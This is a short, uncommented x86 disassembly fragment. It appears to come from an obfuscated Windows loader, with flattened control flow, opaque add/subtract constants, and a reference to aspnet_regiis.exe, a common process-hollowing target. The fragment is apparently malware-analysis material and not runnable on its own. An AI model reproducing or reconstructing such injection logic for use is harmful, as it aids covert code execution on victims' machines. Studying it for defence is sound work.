lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x120], 0x80345f52
jmp 0x1000b39c
mov dword [ebp - 0x120], 0xddccc48
jmp 0x1000b39c
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0x95480de1
sub ecx, 8
add ecx, 0x95480de1
shr ecx, 1
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0xa4000c6d
sub ecx, eax
add ecx, 0xa4000c6d
mov eax, dword [ebp - 0xb0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xac]
mov dword [eax], 0
mov dword [ebp - 0x120], 0x1b3e866b
jmp 0x1000b39c
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x120], 0x2cb99e35
jmp 0x1000b39c
jmp 0x100035c0